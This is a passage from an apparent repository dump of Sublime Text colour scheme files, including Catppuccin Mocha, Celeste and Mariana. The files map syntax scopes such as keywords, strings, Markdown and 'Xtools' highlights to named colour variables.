keyword.control.c++\",\n            \"foreground\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Return\",\n            \"scope\": \"keyword.control.return, keyword.control.flow.return\",\n            \"foreground\": \"var(pink)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Exception\",\n            \"scope\": \"support.type.exception\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Operator\",\n            \"scope\": \"keyword.operator, punctuation.accessor\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Punctuation separator\",\n            \"scope\": \"punctuation.separator\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Punctuation terminator\",\n            \"scope\": \"punctuation.terminator\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Punctuation bracket\",\n            \"scope\": \"punctuation.section\",\n            \"foreground\": \"var(overlay2)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Include\",\n            \"scope\": \"keyword.control.import.include\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage\",\n            \"scope\": \"storage\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage type\",\n            \"scope\": \"storage.type\",\n            \"foreground\": \"var(yellow)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage modifier\",\n            \"scope\": \"storage.modifier\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage type namespace\",\n            \"scope\": \"entity.name.namespace, meta.path\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage type class\",\n            \"scope\": \"storage.type.class\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Label\",\n            \"scope\": \"entity.name.label\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Keyword class\",\n            \"scope\": \"keyword.declaration.class\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Class name\",\n            \"scope\": \"entity.name.class, meta.toc-list.full-identifier\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Inherited class\",\n            \"scope\": \"entity.other.inherited-class\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function name\",\n            \"scope\": \"entity.name.function, variable.function\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function macro\",\n            \"scope\": \"entity.name.function.preprocessor\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Macro directive - ifdef\",\n            \"scope\": \"keyword.control.import\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Constructor\",\n            \"scope\": \"entity.name.function.constructor, entity.name.function.destructor\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function argument\",\n            \"scope\": \"variable.parameter.function\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function declaration\",\n            \"scope\": \"keyword.declaration.function\",\n            \"foreground\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library function\",\n            \"scope\": \"support.function\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library constant\",\n            \"scope\": \"support.constant\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library class/type\",\n            \"scope\": \"support.type, support.class\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library variable\",\n            \"scope\": \"support.other.variable\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Unquoted keys\",\n            \"scope\": \"meta.mapping.key string.unquoted\",\n            \"foreground\": \"var(text)\"\n        },\n        {\n            \"name\": \"Variable function\",\n            \"scope\": \"variable.function\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable parameter\",\n            \"scope\": \"variable.parameter\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable other\",\n            \"scope\": \"variable.other\",\n            \"foreground\": \"var(text)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable field\",\n            \"scope\": \"variable.other.member\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable language\",\n            \"scope\": \"variable.language\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Tag name\",\n            \"scope\": \"entity.name.tag\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Tag attribute\",\n            \"scope\": \"entity.other.attribute-name\",\n            \"foreground\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Tag delimiter\",\n            \"scope\": \"punctuation.definition.tag\",\n            \"foreground\": \"var(maroon)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Markdown URL\",\n            \"scope\": \"markup.underline.link.markdown\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \" underline\"\n        },\n        {\n            \"name\": \"Markdown reference\",\n            \"scope\": \"meta.link.inline.description\",\n            \"foreground\": \"var(lavender )\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Markdown literal\",\n            \"scope\": \"comment.block.markdown, meta.code-fence, markup.raw.code-fence, markup.raw.inline\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Markdown title\",\n            \"scope\": \"punctuation.definition.heading, entity.name.section\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Markdown emphasis\",\n            \"scope\": \"markup.\",\n            \"foreground\": \"var(maroon)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Markdown strong\",\n            \"scope\": \"markup.bold\",\n            \"foreground\": \"var(maroon)\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Escape\",\n            \"scope\": \"constant.character.escape\",\n            \"foreground\": \"var(pink)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Bash built-in function\",\n            \"scope\": \"source.shell.bash meta.function.shell meta.compound.shell meta.function-call.identifier.shell\",\n            \"foreground\": \"var(pink)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Bash parameter\",\n            \"scope\": \"variable.language.shell\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Lua field\",\n            \"scope\": \"source.lua meta.function.lua meta.block.lua meta.mapping.value.lua meta.mapping.key.lua string.unquoted.key.lua\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Lua constructor\",\n            \"scope\": \"source.lua meta.function.lua meta.block.lua meta.mapping.key.lua string.unquoted.key.lua\",\n            \"foreground\": \"var(flamingo)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Java constant\",\n            \"scope\": \"entity.name.constant.java\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS property\",\n            \"scope\": \"support.type.property-name.css\",\n            \"foreground\": \"var(flamingo)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS constant\",\n            \"scope\": \"support.constant.property-value.css\",\n            \"foreground\": \"var(text)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS suffix\",\n            \"scope\": \"constant.numeric.suffix.css, keyword.other.unit.css\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS variable property\",\n            \"scope\": \"variable.other.custom-property.name.css, support.type.custom-property.name.css, punctuation.definition.custom-property.css\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"SCSS tag\",\n            \"scope\": \"entity.name.tag.css\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"SASS variable\",\n            \"scope\": \"variable.other.sass\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Rust macro\",\n            \"scope\": \"support.macro.rust\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Invalid\",\n            \"scope\": \"invalid\",\n            \"foreground\": \"var(text)\",\n            \"background\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Invalid deprecated\",\n            \"scope\": \"invalid.deprecated\",\n            \"foreground\": \"var(text)\",\n            \"background\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff header\",\n            \"scope\": \"meta.diff, meta.diff.header\",\n            \"foreground\": \"var(overlay1)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff deleted\",\n            \"scope\": \"markup.deleted\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff inserted\",\n            \"scope\": \"markup.inserted\",\n            \"foreground\": \"var(green)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff changed\",\n            \"scope\": \"markup.changed\",\n            \"foreground\": \"var(yellow)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Message error\",\n            \"scope\": \"message.error\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"JSON keys\",\n            \"scope\": \"source.json meta.mapping.key string\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"JSON key surrounding quotes\",\n            \"scope\": \"source.json meta.mapping.key punctuation.definition.string.begin, source.json meta.mapping.key punctuation.definition.string.end\",\n            \"foreground\": \"var(overlay2)\"\n        },\n        {\n            \"name\": \"YAML unquoted keys\",\n            \"scope\": \"source.yaml meta.mapping.key string.unquoted\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(peach)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(mauve)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(green)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(sky)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(overlay1)\"\n        },\n    ]\n}\n"
  },
  {
    "path": "themes/Catppuccin Mocha.sublime-color-scheme",
    "content": "{\n    \"name\": \"Catppuccin\",\n    \"author\": \"Catppuccin Org\",\n\n    \"variables\": {\n        \"rosewater\": \"#f5e0dc\",\n        \"flamingo\": \"#f2cdcd\",\n        \"pink\": \"#f5c2e7\",\n        \"mauve\": \"#cba6f7\",\n        \"red\": \"#f38ba8\",\n        \"maroon\": \"#eba0ac\",\n        \"peach\": \"#fab387\",\n        \"yellow\": \"#f9e2af\",\n        \"green\": \"#a6e3a1\",\n        \"teal\": \"#94e2d5\",\n        \"sky\": \"#89dceb\",\n        \"sapphire\": \"#74c7ec\",\n        \"blue\": \"#89b4fa\",\n        \"lavender\": \"#b4befe\",\n        \"text\": \"#cdd6f4\",\n        \"subtext1\": \"#bac2de\",\n        \"subtext0\": \"#a6adc8\",\n        \"overlay2\": \"#9399b2\",\n        \"overlay1\": \"#7f849c\",\n        \"overlay0\": \"#6c7086\",\n        \"surface2\": \"#585b70\",\n        \"surface1\": \"#45475a\",\n        \"surface0\": \"#313244\",\n        \"base\": \"#1e1e2e\",\n        \"mantle\": \"#181825\",\n        \"crust\": \"#11111b\"\n    },\n\n    \"globals\": {\n        \"foreground\": \"var(text)\",\n        \"background\": \"var(base)\",\n        \"caret\": \"var(subtext1)\",\n        \"invisibles\": \"color(var(overlay2) alpha(0.4))\",\n        \"gutter_foreground\": \"var(overlay2)\",\n        \"gutter_foreground_highlight\": \"var(green)\",\n        \"line_highlight\": \"color(var(text) alpha(0.07))\",\n        \"selection\": \"color(var(overlay1) alpha(0.4))\",\n        \"selection_border\": \"var(base)\",\n        \"active_guide\": \"color(var(peach) alpha(0.5))\",\n        \"find_highlight_foreground\": \"var(mantle)\",\n        \"find_highlight\": \"var(yellow)\",\n        \"brackets_options\": \"underline\",\n        \"brackets_foreground\": \"color(var(overlay2) alpha(0.5))\",\n        \"bracket_contents_options\": \"underline\",\n        \"bracket_contents_foreground\": \"color(var(overlay2) alpha(0.5))\",\n        \"tags_options\": \"stippled_underline\"\n    },\n    \"rules\": [\n        {\n            \"scope\": \"meta.semantic-token\",\n            \"background\": \"#00000101\"\n        },\n        {\n            \"name\": \"Comment\",\n            \"scope\": \"comment\",\n            \"foreground\": \"var(overlay1)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"String\",\n            \"scope\": \"string\",\n            \"foreground\": \"var(green)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"String regex\",\n            \"scope\": \"string.regexp\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Number\",\n            \"scope\": \"constant.numeric\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Boolean\",\n            \"scope\": \"constant.language.boolean\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Built-in constant\",\n            \"scope\": \"constant.language\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Built-in function\",\n            \"scope\": \"support.function.builtin\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"User-defined constant\",\n            \"scope\": \"variable.other.constant\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Symbol\",\n            \"scope\": \"constant.other.symbol\",\n            \"foreground\": \"var(yellow)\"\n        },\n        {\n            \"name\": \"Variable\",\n            \"scope\": \"variable\"\n        },\n        {\n            \"name\": \"Keyword\",\n            \"scope\": \"keyword\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Conditional/loop\",\n            \"scope\": \"keyword.control.loop, keyword.control.conditional, keyword.control.c++\",\n            \"foreground\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Return\",\n            \"scope\": \"keyword.control.return, keyword.control.flow.return\",\n            \"foreground\": \"var(pink)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Exception\",\n            \"scope\": \"support.type.exception\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Operator\",\n            \"scope\": \"keyword.operator, punctuation.accessor\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Punctuation separator\",\n            \"scope\": \"punctuation.separator\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Punctuation terminator\",\n            \"scope\": \"punctuation.terminator\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Punctuation bracket\",\n            \"scope\": \"punctuation.section\",\n            \"foreground\": \"var(overlay2)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Include\",\n            \"scope\": \"keyword.control.import.include\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage\",\n            \"scope\": \"storage\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage type\",\n            \"scope\": \"storage.type\",\n            \"foreground\": \"var(yellow)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage modifier\",\n            \"scope\": \"storage.modifier\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage type namespace\",\n            \"scope\": \"entity.name.namespace, meta.path\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Storage type class\",\n            \"scope\": \"storage.type.class\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Label\",\n            \"scope\": \"entity.name.label\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Keyword class\",\n            \"scope\": \"keyword.declaration.class\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Class name\",\n            \"scope\": \"entity.name.class, meta.toc-list.full-identifier\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Inherited class\",\n            \"scope\": \"entity.other.inherited-class\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function name\",\n            \"scope\": \"entity.name.function, variable.function\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function macro\",\n            \"scope\": \"entity.name.function.preprocessor\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Macro directive - ifdef\",\n            \"scope\": \"keyword.control.import\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Constructor\",\n            \"scope\": \"entity.name.function.constructor, entity.name.function.destructor\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function argument\",\n            \"scope\": \"variable.parameter.function\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Function declaration\",\n            \"scope\": \"keyword.declaration.function\",\n            \"foreground\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library function\",\n            \"scope\": \"support.function\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library constant\",\n            \"scope\": \"support.constant\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library class/type\",\n            \"scope\": \"support.type, support.class\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Library variable\",\n            \"scope\": \"support.other.variable\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Unquoted keys\",\n            \"scope\": \"meta.mapping.key string.unquoted\",\n            \"foreground\": \"var(text)\"\n        },\n        {\n            \"name\": \"Variable function\",\n            \"scope\": \"variable.function\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable parameter\",\n            \"scope\": \"variable.parameter\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable other\",\n            \"scope\": \"variable.other\",\n            \"foreground\": \"var(text)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable field\",\n            \"scope\": \"variable.other.member\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Variable language\",\n            \"scope\": \"variable.language\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Tag name\",\n            \"scope\": \"entity.name.tag\",\n            \"foreground\": \"var(peach)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Tag attribute\",\n            \"scope\": \"entity.other.attribute-name\",\n            \"foreground\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Tag delimiter\",\n            \"scope\": \"punctuation.definition.tag\",\n            \"foreground\": \"var(maroon)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Markdown URL\",\n            \"scope\": \"markup.underline.link.markdown\",\n            \"foreground\": \"var(rosewater)\",\n            \"font_style\": \" underline\"\n        },\n        {\n            \"name\": \"Markdown reference\",\n            \"scope\": \"meta.link.inline.description\",\n            \"foreground\": \"var(lavender )\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Markdown literal\",\n            \"scope\": \"comment.block.markdown, meta.code-fence, markup.raw.code-fence, markup.raw.inline\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Markdown title\",\n            \"scope\": \"punctuation.definition.heading, entity.name.section\",\n            \"foreground\": \"var(blue)\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Markdown emphasis\",\n            \"scope\": \"markup.\",\n            \"foreground\": \"var(maroon)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Markdown strong\",\n            \"scope\": \"markup.bold\",\n            \"foreground\": \"var(maroon)\",\n            \"font_style\": \"bold\"\n        },\n        {\n            \"name\": \"Escape\",\n            \"scope\": \"constant.character.escape,constant.character\",\n            \"foreground\": \"var(pink)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Bash built-in function\",\n            \"scope\": \"source.shell.bash meta.function.shell meta.compound.shell meta.function-call.identifier.shell\",\n            \"foreground\": \"var(pink)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Bash parameter\",\n            \"scope\": \"variable.language.shell\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Lua field\",\n            \"scope\": \"source.lua meta.function.lua meta.block.lua meta.mapping.value.lua meta.mapping.key.lua string.unquoted.key.lua\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Lua constructor\",\n            \"scope\": \"source.lua meta.function.lua meta.block.lua meta.mapping.key.lua string.unquoted.key.lua\",\n            \"foreground\": \"var(flamingo)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Java constant\",\n            \"scope\": \"entity.name.constant.java\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS property\",\n            \"scope\": \"support.type.property-name.css\",\n            \"foreground\": \"var(flamingo)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS constant\",\n            \"scope\": \"support.constant.property-value.css\",\n            \"foreground\": \"var(text)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS suffix\",\n            \"scope\": \"constant.numeric.suffix.css, keyword.other.unit.css\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"CSS variable property\",\n            \"scope\": \"variable.other.custom-property.name.css, support.type.custom-property.name.css, punctuation.definition.custom-property.css\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"SCSS tag\",\n            \"scope\": \"entity.name.tag.css\",\n            \"foreground\": \"var(lavender)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"SASS variable\",\n            \"scope\": \"variable.other.sass\",\n            \"foreground\": \"var(teal)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Rust macro\",\n            \"scope\": \"support.macro.rust\",\n            \"foreground\": \"var(sky)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Invalid\",\n            \"scope\": \"invalid\",\n            \"foreground\": \"var(text)\",\n            \"background\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Invalid deprecated\",\n            \"scope\": \"invalid.deprecated\",\n            \"foreground\": \"var(text)\",\n            \"background\": \"var(mauve)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff header\",\n            \"scope\": \"meta.diff, meta.diff.header\",\n            \"foreground\": \"var(overlay1)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff deleted\",\n            \"scope\": \"markup.deleted\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff inserted\",\n            \"scope\": \"markup.inserted\",\n            \"foreground\": \"var(green)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Diff changed\",\n            \"scope\": \"markup.changed\",\n            \"foreground\": \"var(yellow)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"Message error\",\n            \"scope\": \"message.error\",\n            \"foreground\": \"var(red)\",\n            \"font_style\": \"\"\n        },\n        {\n            \"name\": \"JSON keys\",\n            \"scope\": \"source.json meta.mapping.key string\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"JSON key surrounding quotes\",\n            \"scope\": \"source.json meta.mapping.key punctuation.definition.string.begin, source.json meta.mapping.key punctuation.definition.string.end\",\n            \"foreground\": \"var(overlay2)\"\n        },\n        {\n            \"name\": \"YAML unquoted keys\",\n            \"scope\": \"source.yaml meta.mapping.key string.unquoted\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(peach)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(mauve)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(green)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(sky)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(overlay1)\"\n        },\n    ]\n}\n"
  },
  {
    "path": "themes/Celeste.sublime-color-scheme",
    "content": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t},\n\t\"globals\":\n\t{\n\t},\n\t\"rules\":\n\t[\n\t\t{\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(orange)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(brown)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(green)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(purple)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(dark_gray)\"\n        },\n\t]\n}\n"
  },
  {
    "path": "themes/Mariana.sublime-color-scheme",
    "content": "// Documentation at https://www.sublimetext.com/docs/color_schemes.html\n{\n\t\"variables\":\n\t{\n\t\t\"black2\": \"hsl(240,20%,16%)\",\n\t\t\"black3\": \"hsl(229,48%,11%)\",\n\t},\n\t\"globals\":\n\t{\n\t\t\"background\": \"var(black3)\",\n\t},\n\n\t\"rules\":\n\t[\n\t\t{\n            \"name\": \"Xtools Red\",\n            \"scope\": \"xtools.red\",\n            \"foreground\": \"var(red)\"\n        },\n        {\n            \"name\": \"Xtools Blue\",\n            \"scope\": \"xtools.blue\",\n            \"foreground\": \"var(blue)\"\n        },\n        {\n            \"name\": \"Xtools Peach\",\n            \"scope\": \"xtools.peach\",\n            \"foreground\": \"var(orange)\"\n        },\n        {\n            \"name\": \"Xtools Mauve\",\n            \"scope\": \"xtools.mauve\",\n            \"foreground\": \"var(pink)\"\n        },\n        {\n            \"name\": \"Xtools Green\",\n            \"scope\": \"xtools.green\",\n            \"foreground\": \"var(green)\"\n        },\n        {\n            \"name\": \"Xtools Sky\",\n            \"scope\": \"xtools.sky\",\n            \"foreground\": \"var(blue5)\"\n        },\n        {\n            \"name\": \"Xtools Comment\",\n            \"scope\": \"xtools.comment\",\n            \"foreground\": \"var(blue6)\"\n        },\n\t\t\n\t]\n}\n"
  },
  {
    "path": "themes/Monokai.sublime-color-scheme",
